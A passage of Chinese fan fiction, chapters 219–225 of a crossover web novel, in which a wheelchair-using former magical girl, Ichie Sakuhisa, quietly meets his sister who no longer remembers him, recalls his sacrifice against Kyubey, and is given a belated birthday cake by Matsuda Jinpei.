伊江朔久随意报出了记忆里曾经投资过的一家甜品店，那家店就在离这里不远处的地方。 他提议道：“我和朋友就约在那里见面，你可以把我送到那里，然后我将这把伞送给你怎么样？” 见对方愣了一下，伊江朔久又很快解释道：“我朋友他肯定带伞了，之后我跟他一起回去就好。” “现在雨快下大了，我一边撑着伞，一边操控轮椅不太方便，就当帮我一个忙吧？” 茂井幸樱有点不好意思地说：“可以，其实应该是我谢谢你才对。要不是你借我伞，我估计就得去迟了。” 说完，茂井幸樱接过了伊江朔久伸手递出的伞，与其一起在雨中打着。 她还尽可能将伞偏向伊江朔久这边，不让对方被淋到，也注意着将自己手中的礼品袋放在身前。 幸好这把伞足够大，似乎本来就是个双人伞。 伊江朔久顺着话题问道：“你时间很紧张吗？” “我去给我弟弟过生日，他还有好几个朋友也去，总不能让他们都等我一个人。” 茂井幸樱笑着点了点头，微微提高了下手上的礼品袋：“不过现在时间还不算晚，不用着急，我们刚好还很巧地顺路呢。” 伊江朔久抿了抿嘴。 复杂的情绪只是从眼中一闪而过，他很快就将自己多余的情绪掩盖下去，附和地道：“……真巧。” 其实，伊江朔久知道顺路。 他知道茂井幸樱养父母家的弟弟的信息——今天是茂井纯司的生日，对方就在离家不远的一所大学上学，按照课程来看对方估计今天下午才有空。 所以他报出的那家店，正是从这里前往对方大学的路上会经过的位置。 可能是茂井幸樱的性格使然，可能是伊江朔久的隐蔽助推，也可能是血缘之间的联系…… 总之，他们两个只是‘第一次见面’，便仿佛很快投缘地聊起来了。 “……我送给弟弟的是一双球鞋，他很喜欢打篮球。不过体育方面的项目，我只对射箭感兴趣，也不太了解他的爱好，希望他会喜欢这个礼物吧。” “他应该会喜欢的。” 即使非常了解茂井幸樱身边的一切，以及茂井纯司的情况…… 伊江朔久还是问了她送的球鞋品牌和弟弟打的场上位置，随后说道：“你买的这一款就很好，很适合后卫，抓地力和转向性能都不错。” 茂井幸樱眼睛亮了亮，又顺势问了些与篮球相关的她之前不太了解的知识点。 伊江朔久都回答了对方。 末了，茂井幸樱道：“你也对篮球感兴趣吗？我弟弟意外拿到了几张职业篮球比赛的门票，不知道还能叫谁一起去看。你想去看吗？免费的。” 很可惜，那场比赛应该很快就会通知得暂时取消了。 伊江朔久想，因为它的举办地点就在东京。 就算在别的地方，伊江朔久也不会答应，他没办法和茂井家交往过密，甚至今天之后都不会再见一次茂井幸樱。 “其实我对篮球也不是很感兴趣，只是有个朋友很喜欢而已。” 伊江朔久委婉拒绝之后，顿了顿，隐晦地提醒道： “最近似乎东京那边可能会发生什么事，防灾演习办了一场又一场，近期还是尽量别参加一些大型活动吧。” 茂井幸樱应了下来，随后说：“我也听说了，好像跟魔法少女有关，希望她们能够安全解决。” 魔法少女是个更好交谈的话题。 几乎所有人对此都很感兴趣，而且一聊起来，最常开口的第一个话题是——“你最喜欢哪位魔法少女？” 茂井幸樱也忍不住这么问了。 伊江朔久有点卡壳了：“都……喜欢吧。” 茂井幸樱倒是干脆利落地说：“我很喜欢朔夜，我目前经营的弓道馆里还放着她的大型海报呢。” 伊江朔久：“……” 他不好意思地微微偏过了头，不希望对方此刻看到自己的表情。 之前他作为朔夜的时候，为了让其他魔法少女能更融洽相处、不要隐瞒那么多秘密、尽早和谐合作相处……做了不少事情。 比如，时不时给她们带来一点身份危机什么的。 现在他终于也切身体会到了，当时其他魔法少女的尴尬难为情。 好在茂井幸樱没注意到，还在继续饶有兴趣地说道：“其实很多人都说我和朔夜长得比较像，我之前也这么觉得。” “但是今天见到你，我也觉得你和朔夜有点像哎，或许相同发色瞳色看起来就会比较相似吧……” 其实刚才听到伊江朔久喊她，她侧头第一眼看到对方的时候，茂井幸樱还挺诧异的，第一反应还以为是什么亲戚找上门了。 但想想果然还是不可能。 茂井幸樱很快就反应过来了，自己以前所在的伊江家根本没什么亲人还有联系了，而且自己的发色和瞳色是碰巧结合了亲生父母两方的特点，又不是什么家族遗传。 伊江朔久突然轻声问了一句：“那你会觉得很麻烦吗？” 茂井幸樱一时有点没听懂：“什么？” 伊江朔久重述了自己的问题：“你会觉得朔夜和你相像，会给你的生活带来什么麻烦吗？” 茂井幸樱迟疑地说：“倒也没什么，白发青瞳倒也不算是最罕见的，只是巧合而已吧。” “相似也很正常，我记得之前看报纸上的著名高中生侦探工藤新一，和高中生剑道高手冲田总司也长得十分相像呢。” 伊江朔久：“……” 好吧，这倒也是。 和工藤新一长相相似的人至少还有五个以上呢。 不过，不会给她添麻烦就好。 第220章 伊江朔久心里刚浮过这样的念头，转眼便听茂井幸樱说： “其实，长相相似也很好，我以后非常想要一个朔夜这样的女儿呢。” 伊江朔久又沉默了。 这关系……是不是有一点乱了？ 茂井幸樱忍不住继续笑着说起： “其实在我小时候，有个玩得比较好的朋友有一个妹妹，天天借此跟我炫耀。我当时就也缠着父母想要一个妹妹，那时我碰巧还给妹妹取了朔夜这个名字，期望有一个超酷的妹妹呢。” “不过，父母当时说朔夜似乎代表没有月亮的夜晚，寓意不太好还是算了吧……” 茂井幸樱很自然地回忆着过去。 谈起过去自己的亲生父母时，她没有流露出难过或怨怼或留恋的情绪，只是很正常地谈论着过去。 ……看来茂井家真的很好。 以前的伊江幸樱尽管也很坚强，即使生活很困难，需要经常想办法去打点零时工，脸上也总是挂着笑容…… 但却一直都对回到过去幸福的家庭有一种执念。 她那时总会安慰着自己也安慰着他，说：“妈妈只是因为病了，才会那样对待我们。只要她能好起来，我们家就能回到以前……” 她甚至还为此向丘比许下过愿望。 只可惜，事实证明，一切都早已改变了，时光永远无法倒流回去。 为此，她当初差点付出了生命的代价。 幸好她如今的生活还是步上了正轨。 伊江朔久安静而认真地听着茂井幸樱说的话，时不时附和几句，两人相处得非常融洽。 只不过，没等他们继续聊多久，两人就到达了那家甜品店，本来到这家店也没有多远的路程。 茂井幸樱将伊江朔久送到了屋檐下。 “对了，我叫茂井幸樱，还没有问你的名字呢？” 伊江朔久似乎是下意识瞥了一眼不远处看似没人的街角，再收回视线，回答道：“我叫松田阵平。” 茂井幸樱好不容易从身上摸索出一张纸巾，还有一支笔，递给对方道： “松田君，能写一下你的联系方式吗？我之后好方便把伞还给你。” 尽管很希望之后还能够联系对方，但伊江朔久还是保持着理智，摇了摇头说道： “不用了，我家里还有很多雨伞。” 茂井幸樱却坚持道：“这怎么好意思，就算你不需要这把伞了，我也得把钱转给你的。” 见状，伊江朔久无奈地接过纸笔，只在上面写了一个虚假的电话号码：“那到时候给我打电话就好。” 茂井幸樱点点头：“好。” 也该说再见了，但是在打算离开之前，她仿佛鬼使神差地忽然说了一句：“松田君，你跟我弟弟真的很像呢。” 伊江朔久愣了一下，慢一拍地道：“……是吗？” 茂井幸樱忽然觉得对方脸上的表情看上去有些难过。不过这种感觉只是一瞬间，很快就消失了。 虽然不确定是不是自己看错了，但她也察觉到自己这么说似乎不太好，连忙道：“不好意思，是我说错了。” “没关系，其实我也很想有个姐姐。” 伊江朔久露出了一个完美无缺的温和微笑。 茂井幸樱更觉得刚才肯定是自己看错了，她轻松了一些，挥了挥手做告别：“那再见，我得先走了，松田君。” 伊江朔久轻声说：“再见。” 茂井幸樱撑着伞转身离开。 她又不禁仔细想了想，觉得其实根本不像——不管是长相，还是性格，刚才的松田君和她弟弟茂井纯司都不能联系起来。 但是，她刚才为什么会下意识地觉得对方很像自己的弟弟呢？ 茂井幸樱想不出来，摇了摇头，但是倒也没有怎么在意，毕竟这只是一件微不足道的小事而已。 或许只是因为她和松田君比较投缘吧。 …… 伊江朔久在屋檐下待了好一段时间，看着茂井幸樱的背影逐渐远去，直到消失不见。 他也不必像刚才那么辛苦地伪装自己了。 情绪稍稍一松懈下来，过去的无数回忆就不断涌现出来，那些都是只有他一个人还记得的回忆…… ——“多吃点甜食吧，糖分会让人的心情变好哦。”白发青瞳的女孩笑盈盈地将甜品递过来。 ——“……没事，我只是最近有点累了。” 自从母亲抛弃他们离开之后，就仿佛越来越疲惫的姐姐勉强安慰着他，身上带着的灵魂宝石却逐渐向黑色蔓延。 ——“还记得小时候我们经常玩的那个游戏吗？再来玩一次吧，好不好？” 刚拼尽全力战胜魔女的姐姐满身是血、奄奄一息，却用手掌遮住了他的眼睛，第一次那么温柔地轻声说： “闭上眼睛，谁先睁开谁就输了。” 在合上眼睛的一片黑暗中，他听见对方气息逐渐微弱、断断续续地说： “要相信期待着，在未来你会遇见很多美好的事情，交到很多朋友……我知道朔久一直都很懂事听话，所以一个人……也要好好的……” 他小时候就总是会输掉这个游戏，这一次也还是输给她了。 等到察觉对方的手无力地落下时，他便先睁开了眼睛，而她似乎永远获得了游戏的胜利。 ——‘你是伊江幸樱的妹妹吧？现在的你似乎也有成为魔法少女的天赋呢，要试一试吗？说不定可以救回你的姐姐。’ 当时他才13岁。 因为精神有问题的母亲总活在过去，将他当成伊江幸樱，再加上也没人能够给他修剪头发，所以他那时的样子有些中性化…… 所以丘比误会了，他也没做解释。 他一字一句地说：“好啊，我要和你签约……”【你现在阅读的是 】 220-230 第221章 ——‘你是男性？？！怎么可能呢，不应该啊……’ 在成功与伊江朔久签订契约后，丘比终于还是发现了对方的真实性别。 丘比疑惑不解地喃喃着，仿佛沉浸在自己的世界当中，白色的尾巴不停地摇啊摇，显然情绪比较动荡： ‘难道说这个世界是特殊的，所以以往的经验派不上用场了？看来还得重新研究才行……’ 说起来它来到这个世界之后，确实遇见了牵扯大量因果的不少男性。 不过那时，它觉得他们虽然很有天赋，但能从其身上收集的情感能量肯定还是远不如少女丰富。 所以这几年来，它只是兢兢业业地专找少女进行签约。 当时的伊江朔久听着丘比的话，心里总有些不安，觉得对方似乎会因为发现这一点而做出什么更糟糕的事情来。 然而才刚刚救回了死亡后化为魔女的姐姐……当初他即使清楚会付出什么代价，也愿意用尽一切去赌回自己唯一的家人。 可是，好不容易赌赢了，没有必要再踏足险境吧？ 他还是选择退缩了。 以后只要收集足够的悲叹之种，再不牵扯进和丘比相关的事情，说不定就能好好地和姐姐像以前那样生活下去…… ——“你也是魔法少女？喂，你叫什么名字？” 察觉到魔女的气息，赶过来之后的伊江朔久却看到已经有另一个魔法少女到达了这里。 伊江朔久转身便要离开，结果那个白发蓝眸的少女叫住了她，毫不客套地直接问她的名字。 “……”伊江朔久脚步顿了一顿，但还是没有回答，趁对方还在与魔女战斗的时候便走了。 他只想自己一个人收集足够的悲叹之种。 不希望和其他魔法少女扯上关系，其他人不一定知道丘比的骗局，牵扯过多只会给自己带来麻烦。 而且，姐姐知道他如今的情况之后一直都很担心忧虑，他也答应过姐姐不会随意动用天平的力量让自己受伤。 所以还是别想着认识什么同伴了。 ——“朔夜酱，你是不是隐瞒着我们什么秘密？” 对方笑着试探道，鸢色的眼睛直直地盯着她。 伊江朔久冷淡地说：“你想太多了。” “哪有，明明是朔夜真的很奇怪。” 黑发鸢眼的魔法少女列举了一堆朔夜奇怪的举动： “总是忙着收集悲叹之种，会时刻担心我们灵魂宝石的污浊情况，提醒我们小心丘比，刚认识的时候还对我们特别冷漠……” 旁边红发蓝眼的魔法少女打断了她：“不要没事找事好不好，她只是谨慎一些吧，我看更奇怪的明明是你。” “我再怎么奇怪，也没有戴着那么难看的帽子的小矮子奇怪好吧！” “哈？哪里难看了，哪有你的绷带审美低下？！” 白发蓝眼的魔法少女看热闹不嫌事大，起哄地说：“要打起来了吗？你们稍微等一下哟，我去买点瓜子……” 伊江朔久有些无言：“……” 实在有点后悔，自己到底是怎么跟这群家伙熟起来的，明明当初想好自己一个人独来独往就挺好的…… 回想一下，似乎最开始是因为那个白发蓝眼的魔法少女砂糖（Sato），实在是太没边界感了。 ——“魔法少女终将会变成魔女？！！” 红发蓝眼的魔法少女仲野（Nakano）难以置信。 可是经历过的这些事情、发现的那么多线索、愿望的背弃……都在告诉她们，魔法少女的真相并不光鲜。 “魔女、魔法少女……原来是这样吗……” 面对着终于发现真相的这几人，丘比神情不变，仿佛是故意想给她们心头再插根刺一般地说： ‘这个国家把成长期的女性称为“少女”，那么终将成为魔女的不就应该被称为“魔法少女”么？’* “谁教你这么扩句的！？” 一向性格肆意活泼的砂糖都沉下了眸子，气闷地吐槽道：“再说了，我们也不是少女吧！” 丘比身体僵了一下，才反应过来。 都怪之前上千年签约的都是女性，来到这个世界才签约了几个男性，它还是没能习惯好。 ——“你早就知道这些事情了吗？” 随着名叫榎原（Ehara）的黑发紫眸少女的话音落下，其他魔法少女也不由得将目光先后投向了朔夜。 伊江朔久看了看一旁刚被砸得稀巴烂的丘比尸体，有点不想开口，但还是因着自己心底一直隐藏的愧疚承认了： “是。” 空气安静了好几秒。 伊江朔久本以为会听到其他人的抱怨和指责，榎原却温声说道：“我知道，小朔夜是因为担心其他人无法接受这些，从而变为魔女吧？” 是这样吗？ 或许是吧，但这并不是他隐藏秘密的全部原因。 他无法说出，是因为自己的意外签约才使得丘比扩大了找寻魔法少女人选的范围。而且一开始他根本就不想牵扯进别人的因果里，只想自私地过好自己的生活。 “别担心，以后有什么事情我们就一起承担吧。” 榎原虽然是少女模样，可却很有一副温和又可靠的成年人气场：“毕竟，我们是同伴，对吧？” 魔法少女仲野立即点了点头。 而津岛撇了撇嘴，却最终也没说什么反驳的话。 ——“别自责了……作为警察，不管什么情况我都不可能放弃你的。” 听着榎原濒死之时虚弱的声音，伊江朔久声音颤抖着道：“不要说话了，一定还有办法的，再坚持一下……” 事情果然还是到了最糟糕的境地。 伊江朔久真的不明白，为什么对方要救自己，明哲保身好好地活下去不行吗？ 明明不应该是这样的…… 他从来就没有承认过什么所谓的同伴，所以其他人也没有必要管他的生死才对。 第222章 事到如今，砂糖在为了愿望的背离而整日烦心，津岛因为朋友的死讯而化为魔女，榎原也为救自己而濒死…… 伊江朔久彻底后悔了自己过去的选择。 一味地逃避并不能够解决问题，反而只会丧失掉自己的主动权。 他终于下定决心，要像当初拼尽一切救回家人那样，结束掉之前与丘比未做的了结，挽回自己重要的同伴。 可是，究竟要怎样才能做到呢？ 伊江朔久太贪心了，他希望所有的同伴都能得偿所愿、平安顺遂，希望丘比不再造就更多悲剧的发生，希望保障自己重要的人的未来…… 他非常生疏地召唤出了几乎从未使用过的天平，愿意用自己的一切去交换，然而却发现自己根本做不到。 也是，他几近绝望地想。 自己的一切又算得了什么，有什么价值可言，怎么能够觉得付出一切就可以有用？ ——“你有办法可以改变这一切，对吗？” 白发蓝眼的魔法少女砂糖难得这样认真，对朔夜道：“如果你所能交换的砝码不够，那就也压上我的一份吧。” 伊江朔久怔住了。 “从现在起，我的就是你的，所以也把我的一切放上天平吧。” 砂糖向着其伸出手，将象征着自己生命的灵魂宝石放到了朔夜眼前。 面对这样珍贵的信任，伊江朔久一时间有些说不出话来：“你……” “我相信你能够做到的。” 砂糖眨了眨眼，说道：“而且我也有私心……” “曾经我许愿的时候太胡来了，只想着能够找回分道扬镳的朋友，结果最终却导致他失去了自我，仿佛成了我的提线木偶……我希望你能够给他自由，可以吗？” 宝石都是冰冷的，但伊江朔久却在接过对方的灵魂宝石时，从中感受到了沉甸甸的温度。 “……我一定做到！” ——“丘比曾经带给这个世界一切错误、痛苦、充满欺骗性的过往都应该被抹去……” 伊江朔久刚将自己第一部分的祈愿放上天平，天平就开始剧烈震颤，左托盘沉沉地坠了下去。 她双手控制不住地发颤，却也还是紧紧攥着天平，希望能用自己所拥有的一切给右边加码。 天平有些不稳定，时而达成平衡，时而朝某一端沉下去。 周围的一切却也立刻开始发生着变化。 伊江朔久能看见面前濒死的榎原以肉眼可见的速度恢复着健康，同时身上属于魔法少女的力量也在慢慢消减；远处魔女化的津岛身上突然浮起了黑烟，魔女的气息也在快速散去；仲野与津岛的战斗也停了下来，迟疑不解地将目光投了过来…… 可是还不够。 一只手握在了她手上，是榎原。 虽然刚才意识很模糊，她却也一直在尽力听着朔夜和砂糖的交谈，现在逐渐恢复后也选择了支持： “我当然也相信小朔夜了。” 所拥有的砝码又增加了。 伊江朔久忽然觉得眼睛有些酸涩，此刻却也什么都顾不上说，只是尽力想要用一切去换回最好的结局。 她想要彻底地解决丘比，只有这样才能终结掉魔法少女的悲剧命运。 但是，天平发出齿轮卡死的声音…… 不对，她意识到拥有无数个分身的丘比存在于太多的时空之中，牵扯到的因果律太多了。 不做好准备就彻底清理掉丘比，不仅非常困难，还可能牵扯出更大的麻烦来，比如宇宙热寂什么的。 伊江朔久退而求其次：“丘比关于这个世界的所有记忆被清空，并且它再也无法影响到这个世界……” 就连这种愿望都很难实现，天平的左右两边仍旧有些难以平衡。 不过，仲野在这时出现了。 伊江朔久对上少女蔚蓝色的坚定眸子，对方用着自然而然的语气说道：“我们是同伴嘛，对吧？” 这一次，伊江朔久则是用力地点了点头…… 绝对是这样的没错。 ——“这个世界太无聊了，所以，我也想看看你能够做到哪种地步，仅此而已。” 在天平交易趋近平衡的瞬间，伊江朔久隐约听见了这样的声音，那是津岛的声音。 伊江朔久在将筹码放上天平的时候，其实只敢拿自己的全部去赌，并不敢也无所顾忌地将她们的全部放上去…… 所以本来他可能会在交易达成后便彻底消亡的，但是从魔女化中临时清醒过来的津岛插手了最后的交易。 伊江朔久没来得及反应过来，手中天平的右托盘便忽然往下猛地坠下一寸。 砝码超过了祈愿的重量，光芒忽然铺天盖地般席卷了整个天地，所有事物都仿佛被笼罩其中…… 一切都结束了。 ——“请问你是？” 面对昔日同伴陌生的目光，伊江朔久愣了一下，然后略显僵硬地摇了摇头：“我……认错人了，不好意思，打扰了。” 清醒过来后，伊江朔久发现一切都已经改变了。 交易确确实实地达成了。 比起原本想象中的结局，自己实际付出的代价并不算致命。 只不过是在丘比带给这个世界一切错误的过往被抹去时，他的过往也被抹去了；丘比关于这个世界的记忆清空时，其他人对于他的记忆也清空了；丘比再也无法影响到这个世界时，他也无法再像以前那样站起来了…… 除此之外，或许是因为那些同伴能力的献祭，他也莫名被缠绕上了无数属于其他魔法少女的因果。 因此拥有了一部分她们的能力，实力也上涨到了一个夸张的地步。 但是，这有什么用呢？ 因为交换后的自己与这个世界无关了，所以伊江朔久仍旧还是有着魔法少女的身份，没有像其他人一样回归正常生活。 也就是说，他是这个世界上最后的一只魔女了。 第223章 没有悲叹之种用来进化灵魂宝石的污浊，就算再怎么小心翼翼地减少耗能，灵魂宝石终究还是会一点点被黑暗侵蚀殆尽。 终究，实力越是强大的魔法少女，也就越会化为无比邪恶的魔女。 孤独绝望的感觉不可避免地蔓延上心头。 但是伊江朔久还是极尽理智地做出了判断，在不可避免地走向魔女化之前，他必须要提前了结自己才行。 ……不能破坏这来之不易的美好世界。 ——“好吧，我走行了吧……祝你得偿所愿，早点离开这个腐朽的世界。” 刚被打搅了自杀，准备离开海边的太宰治随口向伊江朔久告别，并留下了自己真心的祝福。 伊江朔久坐在轮椅上对着他笑了，轻声地回应：“再见。” 即使下定了死亡的决心，即使这个世界已经没有他的任何过往痕迹……伊江朔久依旧挂心着过去的同伴。 他希望，能够确认那些人都好好地生活着，这样也就能够放心离开了。 所以，再见，再也不见。 ……可惜事情没有想象中的那样发展。 ——“你是说，萩原警官吗？他……不久前殉职了。” ……殉……职？ 伊江朔久几乎要怀疑自己听错了，本就比较苍白的脸色更是一瞬间失去了所有的血色：“……什么？” 但是他想尽方法去验证，却发现萩原研二是真真切切地死掉了。虽然对方的忌日是荒诞的4月1日愚人节，但一切却不是什么简单的玩笑。 怎么回事？ 命运的捉弄还没有结束吗？ 耳边仿佛又听见‘孵化者’看笑话一样的语气——‘不符合常理的愿望，总会产生某种歪曲，甚至将希望扭转成绝望也是合情合理……要想责怪别人的话，不如说你们的愿望本身就是个错误。’ ……绝对、绝对不会是错误。 伊江朔久咬着牙，以一种难以想象的毅力支撑着自己，下定决心地想着。 他答应过的，一定不会让他们走向悲剧性的结局。 ——“就这样到此为止的话，可能还太早了点，要与我达成合作么？” 本来伊江朔久是想用天平做下交易的……反正他即将走向陌路，不如最后再多发挥一些自己残存的价值。 如果能用最后的价值尽可能地帮到他们，让他们拥有值得期待的未来，那就再好不过了。 但是，在伊江朔久刚触碰到天平之时，愈发敏锐的感知力使其停了下来，警觉地向看似什么也没有的空中望去。 是魔女的气息吗？ 不对，有些相似却本质不同，那种气息要远胜过他先前所见过的最强大的魔女…… 但那样恐怖的存在却发出了似乎是善意的合作邀约。 伊江朔久镇定地问：“你是谁？” “晓美焰。” 对方的声音仿佛直接传导进了他的意识之中，伊江朔久能隐约感觉到对方离自己的实际距离非常遥远。 实际上，他的想法并没有错。 在接下来的交流中，伊江朔久便得知对方来自于另一个世界，是已经被丘比干涉了上千年的世界，但是圆环之理的出现让魔法少女们免去了最后变成魔女的命运。 同时，他还获知了其他很多事情。 比如，他的那些同伴身上过多因果律的由来。 在另一个世界里，有人隐约观测到了他们的命运，并将其以小说或漫画作品的方式记录了下来。 还比如……宇宙即将要陷入热寂而毁灭了。 “你说得对，现在结束还太早了点。” 他想留给重要之人的是一个美好而漫长的未来。如果知道他们会迎来悲剧性的结尾，他怎么可能放心离开？ 晓美焰若有所指地道：“你拥有着一个充满可能性的能力。” “……我也这么觉得。” 伊江朔久握住天平的手紧了一紧，随即像是想到了什么，竟然一扫阴霾地笑了起来：“我有一个不错的主意，能请你帮帮我吗？” 晓美焰仿佛洞察了他的想法，又仿佛已经看见了遥远的未来，没有询问便先直接应下了： “乐意之至。” …… 一转眼就过去了六年多的时间。 回忆如幕布一般地在脑海中不断闪过，虽然难熬的、痛苦的经历占据着绝大部分，但也不是没有值得留恋的时光…… 之前一起并肩作战时，互道着新年祝福时，共同听着108下钟声走到尽头时，也曾无数次想过如果时间能停留在这一刻就好了。 姐姐当年所说的，让他期待相信着未来会遇见很多美好的事情、交到很多朋友……他如今也做到了。 所以，没什么可贪心的了。 伊江朔久沉默地站在屋檐下许久，始终没有等到应该出现的动静。 他收回了思绪，只好自己微微提高了声音，对着看似无人的街角道：“不准备出来吗？” 片刻后，打着伞的那个黑色卷发青年还是从街角走了出来。 松田阵平有些无奈。 不理解明明是伊江朔久瞒了他那么多事情、还不告而别，现在最该生气的人应该是自己才对。 但是，被揭穿自己在悄悄跟着对方之后，现在心虚的人倒变成自己了。 伊江朔久紧接着又先开口了：“她不是朔夜……今天你见到她的事能别告诉任何人吗？之后也不要再跟我提起这件事。” “你觉得，我还能再相信你吗？” 松田阵平没忍住反问出口，却在见到伊江朔久微怔的表情时有些后悔。 可是…… 他将对方当成朋友，相处了两年多的时光，伊江朔久却一直骗了他这么久。 曾经以为是真诚的坦白，如今也发现只是一层又一层的谎言。 事到如今，对方口中的话……什么是真的，什么是假的，谁现在还能保证分得清呢？ 第224章 伊江朔久沉默了片刻，也没有保证自己绝对不会再欺骗对方，只是说了一句： “对不起……” 明明松田阵平想要的不是这一句道歉。 要是换做其他朋友，松田阵平估计早就忍不下去了。 非得狠狠揍对方一顿，逼得对方坦诚所有的事情，然后保证以后不管遇到什么事情都要说出来，分担给朋友一起解决才行。 可是，眼前的是伊江朔久。 坐在轮椅上的白发青年微垂着头，脸色看起来有点病态般的苍白，青色的眼睛里含着某些复杂的情绪，神情似乎有点恹恹的。 如果松田阵平一拳打下去，对方或许不会还手，但路人可能就会直接一通报警电话把他送到自己在警局的同事们面前了。 最终还是松田阵平选择让了步：“我不会把今天的事情说出去的。” 伊江朔久松了口气，道：“谢谢。” 松田阵平也不想听这句谢谢，他追问道：“但你总得跟我解释一下吧，比如，你为什么能确定她不是朔夜？你认识朔夜吗？” 这个问题不太好回答。 但是伊江朔久只能尽可能让松田相信茂井幸樱不是朔夜，否则很可能将无关的她牵扯进这些麻烦事之中。 现在作为普通人的她，很难在危险中有自保的能力。 伊江朔久只得点了点头：“我知道朔夜是谁，所以绝对确定她不可能是朔夜。” “那朔夜是谁？” 松田阵平带着超乎寻常的敏锐直觉，没有被伊江朔久的话术所误导。而是结合起之前所获得的所有线索，一针见血地试探问道： “……是你吗？” 伊江朔久无话可说。 现在太宰治和松田阵平先后都已经发现了他的身份，要是在过段时间，自己不知道还有多少秘密会被挖掘出来。 幸好最终的结局就快要到来了。 伊江朔久的沉默在松田阵平看来也就是默认。 虽然松田阵平是主动提问的那个人，但是得到这个答案的时候，他还是感到好一阵恍惚。 ……这两者还真是同一个人啊。 这么说起来，伊江朔久每次见他都是和和气气的，而朔夜却总是差点要跟松代吵起来？ 以前他们两人还有过不少次以魔法少女的身份分别，不久后就又以真实身份再见的事情？ 甚至，曾经他还当着伊江朔久本人的面跟其讨论过对方本人（朔夜）？ 场面一时间似乎变得尴尬起来。 松田阵平终于还是没忍住继续问道：“……你没有别的事情想说吗？” 伊江朔久：“……” 这还真得好好想一想了。 毕竟他隐瞒了太多事情，也不知道松田如今具体想说的是哪一件。 不过，大概率是他和组织的事情东窗事发了吧。 在组织成员们纷纷伏法之后，伊江朔久就感觉自己和组织的实际关系瞒不了多久了。再加上这些天有很多事情要忙，还得尽快研究如何利用梦境魔女。 为避免麻烦，他就暂时选择了逃避，结果却居然还是倒霉得被松田碰见了。 “和组织的事情……” 伊江朔久刚起了个头，又不知道该怎么说下去了。 要怎么解释呢，没有合适的理由，而且现在其实让其他人厌恶自己可能对计划后面的发展会更好一些。 所以，最终他还是道：“……我没有什么想说的。” 伊江朔久以为自己表现出这样不配合的态度，肯定会惹得松田阵平更加生气。 结果，对方脸上神情变化了几番，似乎是想起了什么事情，只是轻轻叹了口气，转到了一个莫名其妙的话题： “丘比是用什么威胁你的？刚才那个人吗？” 伊江朔久愣了一下。 ……丘比现在应该根本不记得他姐姐的存在吧？ 松田这是突然知道了什么吗？为什么会这么问？ 而松田阵平想起了上次和津岛她们的交谈……朔夜一直以来对她们的态度都不怎么样，也欺瞒着她们很多事情。 但是，从实际行动和目的来看，朔夜并没有做过对她们不利的事情，反而这么久以来一直在帮助她们。 所以，对方不愿意说，只可能是有着自己的顾虑。 虽然对方什么都隐瞒着不说，总想着什么事都自己一个人抗的样子真的令人很苦恼，但也不好强势逼迫对方……还是慢慢来吧，让伊江习惯相信同伴的帮助。 松田阵平这样想着，于是松了口：“不想说的话，就算了吧。” 伊江朔久迟疑地看着松田，有些不明白对方为什么突然变得这样好说话了，这种态度真的是松田吗？ 难道说，松田忍无可忍、最终气得决定不再和他维持朋友关系，自然也就不会在意这些事情了？ 下一秒，松田阵平挪动了步子，伊江朔久还以为对方是真的准备直接离开、不想再见到自己了。 结果却听见对方说：“等我一下。” 随即便转身进了身后的那家甜品店里。 没过太长时间，松田阵平提着一个装着蛋糕的盒子出来，递到伊江朔久面前，道：“生日快乐。” 顿了顿，他又说道：“我没来得及提前准备什么，目前就只有这个了，你喜欢甜食对吧？” 伊江朔久自己都快忘了自己的生日了。 他恍惚了一下，在回忆里翻了一圈，随后声音微哑地道：“我记得，我的生日好像不在今天？” 松田阵平自然地回道：“是在前几天吧，10月14日，如果资料上记载的是你真实的生日的话。” “……是真实的。” 伊江朔久当时让组织帮他制造假的身份信息时，无关紧要的名字和生日等都没有虚构。 反正他过去的所有痕迹全都被抹掉了，这些也就无所谓了。 第225章 “因为你前些日子突然失踪了，我也没机会准时给你过生日。如果不嫌弃的话，我们就进去坐会儿，把蛋糕吃了吧。” 松田阵平看向身后的甜品店，询问伊江朔久道： “反正现在还下着雨，你一时也不方便离开吧？” 伊江朔久有点无所适从，半天才点了点头，道：“……谢谢。” 两人进去了甜品店，坐到靠窗的角落处。 看着松田阵平帮忙给他拿出蛋糕并摆好，伊江朔久更不习惯了，总感觉像暴风雨前的宁静似的…… 松田真的这么轻松就放过了他，没有因此生气，也不准备问个究竟吗？ 虽然感觉到难以置信，但松田也不是会忍耐着脾气、和人虚与委蛇的人。 这时，看到松田阵平将附赠的蜡烛点燃，并要插在蛋糕上，伊江朔久连忙开口道： “不用点蜡烛了。” 松田阵平动作停顿了一下，似乎有点可惜：“庆祝生日的话，一般都是要点蜡烛、再许个愿望的吧……” “我的生日都已经过了。”伊江朔久无奈地说。 不过，看着眼前那一根刚亮起来的小红蜡烛，伊江朔久回忆起了之前过生日时的景象。 那还是很久之前，只有姐姐给他过生日。 姐姐自己做了甜甜的蛋糕，买了小蜡烛，让他许愿后吹灭，据说是生日时许的愿望更容易被神明听见。 当初他许了什么愿望来着？ 好像是期望姐姐能够获得幸福，虽然他从不相信神明，但后来兜兜转转还真给实现了。 没有弟弟这个拖累，也没有丘比的欺瞒诱导，在母亲精神方面的疾病被人发现之后……年幼的伊江幸樱在被送去孤儿院之前被好心的邻居家收养了。 这在他们不幸又崎岖的人生之中，确实是一次难得可贵的奇迹。 “等一下。”伊江朔久叫住了松田阵平。 随后，他闭上了眼睛两秒，简单地想着希望自己在意的人都能获得永久的幸福，便睁眼吹掉了那根蜡烛。 “你许了什么愿望？” 松田阵平有些想知道，略显不自然地说道：“我可以帮你一起去实现，作为一个比蛋糕更正式的生日礼物。” 伊江朔久却摇了摇头：“说出来的话，愿望就不灵了。” 虽然伊江还是没有吐露什么信息，但是情绪却渐渐好转了，松田阵平见状，心情也随之放松了些。 而且，他大概能清楚伊江朔久会有什么样的愿望。 不久前，松田阵平跟在伊江和那个从未见过的女性身后，听到了一些对话。 不过，虽然成为魔法少女后的他感官更敏锐了许多。但隔得距离稍远，还下着雨，他也只能偶尔隐约听到那两人交流时的只言片语。 松田阵平仅能大概判断出，那人和伊江似乎并不怎么熟识，但是伊江的情绪却能轻易地被对方所牵引。 这很奇怪。 但其实这似乎不是特例。 从他刚认识伊江朔久没多久时，他就发现对方对于自己和萩原有着特殊的关照。 对方是这么解释的——我以前就住在浅井公寓，当初是萩原警官的牺牲救了我们，所以我肯定不能忘恩负义啊。 但是现在，松田阵平知道对方当初是先与组织合作之后，借组织之手做好了自己的身份信息，后来才特地搬到了浅井公寓。 ……所以这些异常都是因为什么呢？ 回顾着过往伊江朔久或朔夜的表现与行动，松田阵平逐渐勾勒出了过去可能发生的大概轮廓。 